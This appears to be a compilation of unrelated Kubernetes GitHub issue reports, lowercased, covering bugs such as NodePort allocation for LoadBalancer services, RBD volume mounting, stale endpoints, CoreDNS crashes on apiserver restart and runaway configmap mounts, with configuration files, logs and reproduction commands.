created a service with type=loadbalancer on a gce cluster. see a nodeport allocated for it.  kube-dns-prometheus.yaml      apiversion: v1 kind: service metadata:   labels:     k8s-app: kube-dns     kubernetes.io/name: kubednsprometheus   name: kube-dns-prom   namespace: kube-system spec:   ports:   - name: prometheus     port: 8081     protocol: tcp     targetport: 8081   selector:     k8s-app: kube-dns   sessionaffinity: none   type: loadbalancer      kubectl edit rc      apiversion: v1 kind: service metadata:   creationtimestamp: 2016-09-07t18:12:23z   labels:     k8s-app: kube-dns     kubernetes.io/name: kubednsprometheus   name: kube-dns-prom   namespace: kube-system   resourceversion: \ 1333\    selflink: /api/v1/namespaces/kube-system/services/kube-dns-prom   uid: a00bccaf-7526-11e6-b939-42010a800002 spec:   clusterip: 10.0.60.71   ports:   - name: prometheus     nodeport: 32333                 <<<<<<<<<<<<<<<<<<<<<<<<<<< nodeport allocated     port: 8081     protocol: tcp     targetport: 8081   selector:     k8s-app: kube-dns   sessionaffinity: none   type: loadbalancer status:   loadbalancer:     ingress:     - ip: 130.211.202.152

on sierra\r \r    \r bazel build //pkg/... --spawn_strategy=standalone\r info: found 2295 targets...\r error: /volumes/development/projects/origin/src/k8s.io/kubernetes/vendor/build:7074:1: null failed: inotify.a.gocompilefile.params failed: error executing command bazel-out/local-fastbuild/bin/vendor/bazel-out/local-fastbuild/bin/vendor/golang.org/x/exp/inotify.a.gocompilefile.params: com.google.devtools.build.lib.shell.badexitstatusexception: process exited with status 1.\r k8s.io/kubernetes/vendor/golang.org/x/exp/inotify/inotify_linux.go:252: undefined: syscall.in_dont_follow\r k8s.io/kubernetes/vendor/golang.org/x/exp/inotify/inotify_linux.go:253: undefined: syscall.in_oneshot\r k8s.io/kubernetes/vendor/golang.org/x/exp/inotify/inotify_linux.go:254: undefined: syscall.in_onlydir\r k8s.io/kubernetes/vendor/golang.org/x/exp/inotify/inotify_linux.go:261: undefined: syscall.in_access\r k8s.io/kubernetes/vendor/golang.org/x/exp/inotify/inotify_linux.go:262: undefined: syscall.in_all_events\r k8s.io/kubernetes/vendor/golang.org/x/exp/inotify/inotify_linux.go:263: undefined: syscall.in_attrib\r k8s.io/kubernetes/vendor/golang.org/x/exp/inotify/inotify_linux.go:264: undefined: syscall.in_close\r k8s.io/kubernetes/vendor/golang.org/x/exp/inotify/inotify_linux.go:265: undefined: syscall.in_close_nowrite\r k8s.io/kubernetes/vendor/golang.org/x/exp/inotify/inotify_linux.go:266: undefined: syscall.in_close_write\r k8s.io/kubernetes/vendor/golang.org/x/exp/inotify/inotify_linux.go:267: undefined: syscall.in_create\r k8s.io/kubernetes/vendor/golang.org/x/exp/inotify/inotify_linux.go:267: too many errors\r    \r \r @mikedanese

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r  volumeclaim is not bound\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :\r 3 baremetal servers\r -   os    e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r -   kernel    e.g.  uname -a  :\r  linux dm3ch-server-node1 4.4.0-72-generic  93-ubuntu smp fri mar 31 14:07:41 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r -   install tools  :\r kubeadm\r -   others  :\r \r \r   what happened  :\r when i have created pod with volume claim i got:\r    \r   13m           13m             2       default-scheduler                               warning         failedscheduling         schedulerpredicates failed due to persistentvolumeclaim is not bound: \ gitlab-data-pvc\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ gitlab-data-pvc\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ gitlab-data-pvc\ , which is unexpected. \r   13m           13m             1       default-scheduler                               normal          scheduled               successfully assigned gitlab-deployment-1322383956-tw6b5 to dm3ch-server-node2\r   13m           1m              14      kubelet, dm3ch-server-node2                     warning         failedmount             mountvolume.setup failed for volume \ kubernetes.io/rbd/d204dcfd-2858-11e7-baad-0019996b57b2-pvc-d204edaf-2858-11e7-baad-0019996b57b2\   spec.name: \ pvc-d204edaf-2858-11e7-baad-0019996b57b2\   pod \ d204dcfd-2858-11e7-baad-0019996b57b2\   uid: \ d204dcfd-2858-11e7-baad-0019996b57b2\   with: rbd: image kubernetes-dynamic-pvc-d20e7600-2858-11e7-b9c0-0019996b57b2 is locked by other nodes\r   11m           21s             6       kubelet, dm3ch-server-node2                     warning         failedmount             unable to mount volumes for pod \ gitlab-deployment-1322383956-tw6b5_gitlab d204dcfd-2858-11e7-baad-0019996b57b2 \ : timeout expired waiting for volumes to attach/mount for pod \ gitlab\ /\ gitlab-deployment-1322383956-tw6b5\ . list of unattached/unmounted volumes= data \r   11m           21s             6       kubelet, dm3ch-server-node2                     warning         failedsync              error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ gitlab\ /\ gitlab-deployment-1322383956-tw6b5\ . list of unattached/unmounted volumes= data \r    \r \r pvc describe:\r    \r name:           gitlab-data-pvc\r namespace:      gitlab\r storageclass:   rbd\r status:         bound\r volume:         pvc-d204edaf-2858-11e7-baad-0019996b57b2\r labels:         <none>\r annotations:    pv.kubernetes.io/bind-completed=yes\r                 pv.kubernetes.io/bound-by-controller=yes\r                 volume.beta.kubernetes.io/storage-class=rbd\r                 volume.beta.kubernetes.io/storage-provisioner=kubernetes.io/rbd\r capacity:       10gi\r access modes:   rwo\r events:\r   firstseen     lastseen        count   from                            subobjectpath   type            reason                  message\r   ---------     --------        -----   ----                            -------------   --------        ------                  -------\r   14m           14m             1       persistentvolume-controller                     normal          provisioningsucceeded   successfully provisioned volume pvc-d204edaf-2858-11e7-baad-0019996b57b2 using kubernetes.io/rbd\r \r    \r \r   what you expected to happen  :\r i expexted to got working pod with mounted volumeclaim\r \r   how to reproduce it    as minimally and precisely as possible :\r my yaml files:\r \r rbd storage class:\r    \r apiversion: storage.k8s.io/v1\r kind: storageclass\r metadata:\r    name: rbd\r provisioner: kubernetes.io/rbd\r parameters:\r     monitors: 10.31.0.1:6789, 10.31.0.2:6789, 10.31.0.3:6789\r     adminid: admin\r     adminsecretname: ceph-secret-admin\r     adminsecretnamespace: \ kube-system\ \r     pool: kubernetes\r     userid: kubernetes\r     usersecretname: ceph-secret\r    \r \r pvc: \r    kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: gitlab-data-pvc\r   annotations:\r     volume.beta.kubernetes.io/storage-class: \ rbd\ \r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 10gi\r    \r \r deployment:\r    \r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   name: gitlab-deployment\r spec:\r   replicas: 1\r   template:\r     metadata:\r       name: gitlab\r       labels:\r         name: gitlab\r     spec:\r       containers:\r       - name: gitlab\r         image: sameersbn/gitlab:9.0.6\r         ports:\r         - name: http\r           containerport: 80\r         - name: ssh\r           containerport: 22\r         volumemounts:\r         - mountpath: /home/git/data\r           name: data\r         livenessprobe:\r           httpget:\r             path: /\r             port: 80\r           initialdelayseconds: 180\r           timeoutseconds: 5\r         readinessprobe:\r           httpget:\r             path: /\r             port: 80\r           initialdelayseconds: 5\r           timeoutseconds: 1\r       volumes:\r       - name: data\r         persistentvolumeclaim:\r           claimname: gitlab-data-pvc\r    \r   anything else we need to know  :\r i've got rbd storage class\r

fuentd-gcp image in version  2.0.4 , used in https://github.com/kubernetes/kubernetes/pull/45892 contained a bad version of the fluentd  0.14 , which introduced regression, detected by the load tests\r \r /cc @piosz

hey guys,\r \r afaik,  the  kubelet  reports the status/resources of node at a regular interval default 10s .\r although the  cadvisor  could aware the resource utilization in real-time, but not involved in the scheduling, right? so, this is an issue, why not support scheduling pods according to node resources change in real-time? or i misunderstood?

failure cluster  1e796c09ea87722d28c5  https://go.k8s.io/triage 1e796c09ea87722d28c5        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/ingress.go:194 jun 12 11:41:19.409: ingress failed to acquire an ip address within 15m0s /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/ingress_utils.go:900           failure cluster statistics: 3 tests failed,    23 jobs failed,    121 builds failed. failure stats cover 1 day time range '12 jun 2017 04:03 utc' to '13 jun 2017 04:03 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  loadbalancing: l7  k8s.io  nginx should conform to ingress spec | 14 | |  k8s.io  loadbalancing: l7  k8s.io   slow  nginx should conform to ingress spec | 8 | |  k8s.io  loadbalancing: l7  k8s.io  gce  slow   feature:ingress  should conform to ingress spec | 1 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gke-multizone | 9 |  12 jun 2017 23:18 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-multizone/10753  | | ci-kubernetes-e2e-gci-gce-proto | 9 |  12 jun 2017 23:19 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-proto/9649  | | ci-kubernetes-e2e-gci-gce | 9 |  12 jun 2017 23:09 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/9728  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | ncdc |  k8s.io  loadbalancing: l7  k8s.io  nginx should conform to ingress spec;  k8s.io  loadbalancing: l7  k8s.io   slow  nginx should conform to ingress spec | | derekwaynecarr |  k8s.io  loadbalancing: l7  k8s.io  gce  slow   feature:ingress  should conform to ingress spec | | sig/network |  k8s.io  loadbalancing: l7  k8s.io  nginx should conform to ingress spec;  k8s.io  loadbalancing: l7  k8s.io   slow  nginx should conform to ingress spec;  k8s.io  loadbalancing: l7  k8s.io  gce  slow   feature:ingress  should conform to ingress spec |  </details><br>   current status  https://go.k8s.io/triage 1e796c09ea87722d28c5

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r no\r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r endpoints stale removed\r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r bug report\r \r   kubernetes version    use  kubectl version  :\r 1.6.4\r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : ubuntu 16.04.2\r -   kernel    e.g.  uname -a  : linux ip-10-10-10-10 4.8.0-54-generic  57~16.04.1-ubuntu smp wed may 24 16:22:28 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  :\r -   others  :\r \r 3 node etcd cluster with quorum reads on.\r \r   what happened  :\r we observe transient connection failures between pods when they are being destroyed. upon further investigation, we discovered endpoints are not being removed when the pod is deleted. in cases of failures, the endpoint was not removed at all during termination time, until the pod finally completed  after about 10s . in other non-fatal cases we observed endpoint removal delays of several seconds. it's still not clear yet whether it's just slow to update or whether it simply doesn't remove the endpoint for some reason.\r \r   what you expected to happen  :\r endpoint should be removed immediately, or shortly after  <1s , when running  kubectl delete pod my-pod .\r \r   how to reproduce it    as minimally and precisely as possible :\r 1. observe endpoints with  kubectl get ep my-eip -o go-template='{{ range  index .subsets 0 .addresses }} {{ .ip }} {{ end }}' .\r 2. delete the oldest pod, wait for replicaset controller to scale up a new one.\r 3. wait a few seconds\r 4. repeat 2.\r \r we observe the stale endpoints with kubectl, as well as directly on nodes themselves by observing iptables.\r \r   anything else we need to know  :\r \r this only started happening to us recently, in the last few weeks after we upgraded to 1.6 from 1.4. it could also be related to the fact we enabled quorum reads, as we were experiencing similar types of problems with stale kube-proxy updates that we were unable to pinpoint, and thought that would help.\r \r other notes:\r   using etcd2.3.7, 3 node cluster\r   about 240 services/endpoints in this cluster, spread across 7 16 core nodes  pretty small, i think \r   using leader election / multi master

in cluster/saltbase/salt/kube-proxy/kube-proxy.manifest, we have this:\r \r    \r     command:\r     - /bin/sh\r     - -c\r     - echo -998 > /proc/$$$/oom_score_adj && kube-proxy {{api_servers_with_port}} {{kubeconfig}} {{cluster_cidr}} --resource-container=\ \  {{params}} 1>>/var/log/kube-proxy.log 2>&1\r    \r \r but kube-proxy also has a  --oom-score-adj  flag.  is there a reason to use the  echo  approach instead of using the flag?\r \r cc @vishh as you wrote the code, in https://github.com/kubernetes/kubernetes/pull/41700 \r

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r newly registered node, but scheduler thinks this node doesn't have enough resources when schedules pod.\r \r but actually, this node have enough resource for this pod.\r \r   what you expected to happen  :\r \r schedule pod to this newly registered node successfully when this node have enough resources actually.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r in our production env, node doesn't have many resources for many pods, it can only support a few pods, even only one pod.\r so this problem happens with higher probability in our environment. \r \r node with lots of resources, lose a few resource is not easily to find. \r \r \r suppose there is one pod pod-a, one node node-a and newly registered node node-b. and pod-a is already scheduled to node-a. node-a and node-b have same name.\r \r reproduce steps:\r 1. pod-a is deleted, but scheduler lose this delete event.\r 2. node-a is deleted from etcd for operation reasons or other reasons.\r 3. node-b register with same name.\r 4. schedule a new pod and node-b have enough resources for this pod in fact.\r \r \r   anything else we need to know?  :\r \r the reason is that :\r - pod delete event is lost \r - so schedulecache is not consistent with real state\r - node name may be reused\r \r restart scheduler will deal this problem.\r \r \r \r   environment  :\r - kubernetes version : k8s 1.3.5\r

\r e1102 20:08:46.999099       5 controllermanager.go:480  error starting \ garbagecollector\ \r f1102 20:08:46.999145       5 controllermanager.go:155  error starting controllers: failed to get supported resources from server: unable to retrieve the complete list of server apis: identity.k8s.io/v1alpha1: forbidden: user \ system:serviceaccount:kube-system:generic-garbage-collector\  cannot get path \ /apis/identity.k8s.io/v1alpha1\ \r    \r \r this is a fatal error. is this the expected behavior?\r \r   \r @kubernetes/sig-api-machinery-bugs

is this a bug report or feature request?  :\r  / @kubernetes/sig-scalability-bugs\r umbrella issue:  56062\r \r   what happened  :\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8226 setup failed with:\r \r    \r i1122 21:57:51.951  i1122 21:57:51.950862    4938 e2e.go:331  starting e2e run \ 2f9f756b-cfd0-11e7-b5df-0a580a3c92d6\  on ginkgo node 1\r i1122 21:57:51.984  running suite: kubernetes e2e suite\r i1122 21:57:51.984  ===================================\r i1122 21:57:51.985  random seed: 1511387870 - will randomize all specs\r i1122 21:57:51.985  will run 2 of 710 specs\r i1122 21:57:51.986  \r i1122 21:57:51.986  nov 22 21:57:51.984: info: fetching cloud provider for \ gce\ \r i1122 21:57:51.986  \r i1122 21:57:51.987  i1122 21:57:51.984445    4938 gce.go:803  using defaulttokensource &oauth2.reusetokensource{new:jwt.jwtsource{ctx:  context.emptyctx  0xc42001e0d0 , conf:  jwt.config  0xc420428000 }, mu:sync.mutex{state:0, sema:0x0}, t:  oauth2.token  nil }\r i1122 21:58:02.008  e1122 21:58:02.008304    4938 gce.go:813  error fetching initial token: oauth2: cannot fetch token: post https://accounts.google.com/o/oauth2/token: net/http: tls handshake timeout\r i1122 21:58:17.022  e1122 21:58:17.022450    4938 gce.go:813  error fetching initial token: oauth2: cannot fetch token: post https://accounts.google.com/o/oauth2/token: net/http: tls handshake timeout\r i1122 21:58:32.058  e1122 21:58:32.058276    4938 gce.go:813  error fetching initial token: oauth2: cannot fetch token: post https://accounts.google.com/o/oauth2/token: net/http: tls handshake timeout\r i1122 21:58:42.072  e1122 21:58:42.072718    4938 gce.go:813  error fetching initial token: oauth2: cannot fetch token: post https://accounts.google.com/o/oauth2/token: net/http: tls handshake timeout\r i1122 21:58:42.073  nov 22 21:58:42.072: info: failed to setup provider config: error building gce/gke provider: timed out waiting for the condition\r    \r \r i think we need to let it retry longer in case this repeats.

 \r i wasn't able to find issue opened for zsh case, and aware about similar, fixed, case with bash in 1.10.0-b1 https://github.com/kubernetes/kubernetes/pull/60135\r bash completion is working fine\r \r    sh\r kubectl create -f calico.y__kubectl_filedir:3: command not found: __debug\r __kubectl_filedir:20: command not found: __debug\r ml\r configmap \ calico-config\  created\r ...\r    \r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-beta.2\ , gitcommit:\ 63dad40a0391b7af32c34fdbf41fa199c3b247ad\ , gittreestate:\ clean\ , builddate:\ 2018-03-07t20:42:18z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-beta.2\ , gitcommit:\ 63dad40a0391b7af32c34fdbf41fa199c3b247ad\ , gittreestate:\ clean\ , builddate:\ 2018-03-07t20:30:35z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r    \r zsh 5.0.2  x86_64-redhat-linux-gnu \r running latest oh-my-zsh\r    \r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r kubectl not able to pull the image from private repository.\r \r   what you expected to happen  :\r kubectl pulls the image from my private repository .\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a secret:\r  kubectl create secret docker-registry my-secret --docker-server=192.168.99.100:5000 --docker-username=admin --docker-password=xxxx --docker-email=test@xyz.com \r \r pod.yaml:\r  ---\r apiversion: v1\r kind: pod\r metadata:\r   name: test\r spec:\r   volumes:\r     - name: \ datadir\ \r       hostpath:\r         path: \ /c/data\ \r   containers:\r     - name: test\r       image: 192.168.99.100:5000/test\r       ports:\r         - containerport: 80\r       volumemounts: \r         - mountpath: /root/data\r           name: \ datadir\ \r   imagepullsecrets:\r     - name: my-secret \r \r create \ test\  pod:\r  kubectl create -f pod.yaml \r \r results in:\r  error from server  badrequest : container \ test\  in pod \ test\  is waiting to start: trying and failing to pull image \r and  kubectl get pods  shows \ imagepullbackoff\ \r \r the image is definitely pushed to the private registry. i have checked it with:\r  docker pull 192.168.99.100:5000/test  \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.0\r - cloud provider or hardware configuration: minikube  local \r - os  e.g. from /etc/os-release : windows 10 with boot2docker  docker toolbox \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:

edit:\r update for anyone who sees this error: about one week ago we've updated straight to kubernetes 1.14. since then we haven't seen the error occuring, nor did cron detected duplicated mount paths. \r \r   what happened  :\r at some point, during the day i discovered, that one of the nodes had ~75k mounts. the node was struggling heavily and overloaded. \r \r  mount | wc -l  returned  74517  while  mount | sort | uniq -c |  wc -l  returned only  859 .\r all of the duplicated mount entries were configmaps of a single pod  see count at the beginning of the line :\r \r    \r ...\r       3 /dev/vdb on /opt/kubelet/pods/624085bb-4112-11e9-8386-525400451066/volumes/kubernetes.io~configmap/config/..2019_03_15_11_31_19.292679382/my.cnf type ext4  rw,relatime,data=ordered \r       9 /dev/vdb on /opt/kubelet/pods/624085bb-4112-11e9-8386-525400451066/volumes/kubernetes.io~configmap/config/..2019_03_15_11_18_48.327191692/my.cnf type ext4  rw,relatime,data=ordered \r      21 /dev/vdb on /opt/kubelet/pods/624085bb-4112-11e9-8386-525400451066/volumes/kubernetes.io~configmap/config/..2019_03_15_11_07_47.384790920/my.cnf type ext4  rw,relatime,data=ordered \r      45 /dev/vdb on /opt/kubelet/pods/624085bb-4112-11e9-8386-525400451066/volumes/kubernetes.io~configmap/config/..2019_03_15_10_57_31.494168049/my.cnf type ext4  rw,relatime,data=ordered \r      93 /dev/vdb on /opt/kubelet/pods/624085bb-4112-11e9-8386-525400451066/volumes/kubernetes.io~configmap/config/..2019_03_15_10_47_01.402717848/my.cnf type ext4  rw,relatime,data=ordered \r     189 /dev/vdb on /opt/kubelet/pods/624085bb-4112-11e9-8386-525400451066/volumes/kubernetes.io~configmap/config/..2019_03_15_10_36_47.537978406/my.cnf type ext4  rw,relatime,data=ordered \r     381 /dev/vdb on /opt/kubelet/pods/624085bb-4112-11e9-8386-525400451066/volumes/kubernetes.io~configmap/config/..2019_03_15_10_26_40.916589570/my.cnf type ext4  rw,relatime,data=ordered \r     765 /dev/vdb on /opt/kubelet/pods/624085bb-4112-11e9-8386-525400451066/volumes/kubernetes.io~configmap/config/..2019_03_15_10_16_21.010985435/my.cnf type ext4  rw,relatime,data=ordered \r    1532 /dev/vdb on /opt/kubelet/pods/624085bb-4112-11e9-8386-525400451066/volumes/kubernetes.io~configmap/config/..2019_03_15_10_06_15.233187702/my.cnf type ext4  rw,relatime,data=ordered \r    3067 /dev/vdb on /opt/kubelet/pods/624085bb-4112-11e9-8386-525400451066/volumes/kubernetes.io~configmap/config/..2019_03_15_09_57_44.172322088/my.cnf type ext4  rw,relatime,data=ordered \r    6140 /dev/vdb on /opt/kubelet/pods/624085bb-4112-11e9-8386-525400451066/volumes/kubernetes.io~configmap/config/..2019_03_15_09_55_28.920851328/my.cnf type ext4  rw,relatime,data=ordered \r   12285 /dev/vdb on /opt/kubelet/pods/624085bb-4112-11e9-8386-525400451066/volumes/kubernetes.io~configmap/config/..2019_03_15_09_54_26.472223390/my.cnf type ext4  rw,relatime,data=ordered \r   24569 /dev/vdb on /opt/kubelet/pods/624085bb-4112-11e9-8386-525400451066/volumes/kubernetes.io~configmap/config/..2019_03_07_20_07_51.579971606/my.cnf type ext4  rw,relatime,data=ordered \r   24573 /dev/vdb on /opt/kubelet/pods/624085bb-4112-11e9-8386-525400451066/volume-subpaths/config/mariadb/1 type ext4  rw,relatime,data=ordered \r    \r \r \r   what you expected to happen  :\r well, not having 75k of mounts?\r \r   how to reproduce it  as minimally and precisely as possible   :\r i am not sure. it's at least third time this happens on our cluster, but i can't tell what causes this. at least twice it was connected with a single pod, not the same though  this time it was a mariadb, previously it was a postgresql pod .\r \r edit: i think the mounts are being multiplied each time the pod in question restarts a container. i still don't know what makes the pod faulty in such a way in the first place.\r \r   anything else we need to know?  :\r    /var/lib/kubelet  is a symlink pointing to  /opt/kubelet \r   bunch of  umount -f  commands solved the issue.\r   syslog mentions these mounts as busy resources, which cant be unmounted, but i am able to unmount them no problem  sometimes it needs this command many times .\r   the mount number seems to increase somewhat exponentially  although it's not exact . unmounting also decreases it in such manner, unmounting roughly half of mounts at once.\r \r   environment  :\r - kubernetes version:  1.11.2 \r - cloud provider or hardware configuration: cluster set with kubespray on several kvm machines.\r - os:  ubuntu 16.04.4 \r - kernel:  linux kube2 4.4.0-142-generic  168-ubuntu smp wed jan 16 21:00:45 utc 2019 x86_64 x86_64 x86_64 gnu/linux \r - install tools: kubespray\r - others: openebs as pv provider, container runtime:  docker://18.6.3

what happened  :\r \r in kubernetes 1.14 beta2, if kube-apiserver is shortly unavailable  e.g. restart , all coredns pod will crash which cause a short dns outage\r \r   what you expected to happen  :\r \r like in kubernetes 1.13, if kube-apiserver is down, coredns continue to run and provide dns service.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   create cluster with kubeadm & calico  any cni should work .\r   wait for coredns to start\r   restart kube-apiserver\r   coredns has crashed  it didn't crashed in kubernetes 1.13 using the same steps \r \r    \r   pod_cidr=10.244.0.0/16\r   kubeadm init --pod-network-cidr $pod_cidr --kubernetes-version v1.14.0-beta.2\r  ... \r   curl https://docs.projectcalico.org/v3.6/getting-started/kubernetes/installation/hosted/kubernetes-datastore/calico-networking/1.7/calico.yaml | sed -e \ s?192.168.0.0/16?$pod_cidr?g\  | kubectl apply -f -\r   kubectl get po -n kube-system\r name                                       ready   status    restarts   age\r  ... \r coredns-fb8b8dccf-k8hc2                    1/1     running   0          26m\r coredns-fb8b8dccf-wfbwg                    1/1     running   0          26m\r  ... \r   docker rm -f k8s_kube-apiserver_kube-apiserver-node-3_kube-system_1e79449d50c9f3add3dd82d2706ed2f3_0\r   kubectl get po -n kube-system\r name                                       ready   status             restarts   age\r coredns-fb8b8dccf-k8hc2                    0/1     running            1          27m\r coredns-fb8b8dccf-wfbwg                    0/1     crashloopbackoff   1          27m\r    \r \r   anything else we need to know?  :\r \r log of crashed coredns:\r \r    \r   docker logs k8s_coredns_coredns-fb8b8dccf-wfbwg_kube-system_d872299d-4745-11e9-9462-080027c5f494_1\r e0315 17:41:50.400737       1 reflector.go:134  github.com/coredns/coredns/plugin/kubernetes/controller.go:317: failed to list  v1.endpoints: get https://10.96.0.1:443/api/v1/endpoints?limit=500&resourceversion=0: dial tcp 10.96.0.1:443: connect: connection refused\r e0315 17:41:50.400737       1 reflector.go:134  github.com/coredns/coredns/plugin/kubernetes/controller.go:317: failed to list  v1.endpoints: get https://10.96.0.1:443/api/v1/endpoints?limit=500&resourceversion=0: dial tcp 10.96.0.1:443: connect: connection refused\r log: exiting because of error: log: cannot create log: open /tmp/coredns.coredns-fb8b8dccf-wfbwg.unknownuser.log.error.20190315-174150.1: no such file or directory\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 14+\ , gitversion:\ v1.14.0-beta.2.66+846a82fecc6959\ , gitcommit:\ 846a82fecc69594712040f715d5447bcd445b9c2\ , gittreestate:\ clean\ , builddate:\ 2019-03-15t09:35:50z\ , goversion:\ go1.12\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 14+\ , gitversion:\ v1.14.0-beta.2\ , gitcommit:\ b1e389e6f7bd798a8dd162f82b918f509ac5291b\ , gittreestate:\ clean\ , builddate:\ 2019-03-12t18:01:33z\ , goversion:\ go1.12\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: bare-metal  virtualbox \r - os  e.g:  cat /etc/os-release  :\r    \r name=\ ubuntu\ \r version=\ 18.04.1 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04.1 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r    \r - kernel  e.g.  uname -a  :\r    \r linux node-3 4.15.0-46-generic  49-ubuntu smp wed feb 6 09:33:07 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools: using kubeadm. debs file dowloaded from https://console.cloud.google.com/storage/browser/kubernetes-release-dev/bazel/v1.14.0-beta.2.66+846a82fecc6959/\r - others:\r \r    \r   docker run --rm -ti k8s.gcr.io/coredns:1.3.1 --version\r coredns-1.3.1\r linux/amd64, go1.11.4, 6b56a9c\r    \r \r 

after calling  expose --type=loadbalancer , a call to  get services  will print something like this:      $ kubectl get services name         cluster-ip     external-ip       port s     age hello-node   10.43.246.94                     8080/tcp   3d kubernetes   10.43.240.1    <none>            443/tcp    3d      kubectl should show a  pending  state to indicate to the user that something is happening behind the scenes.

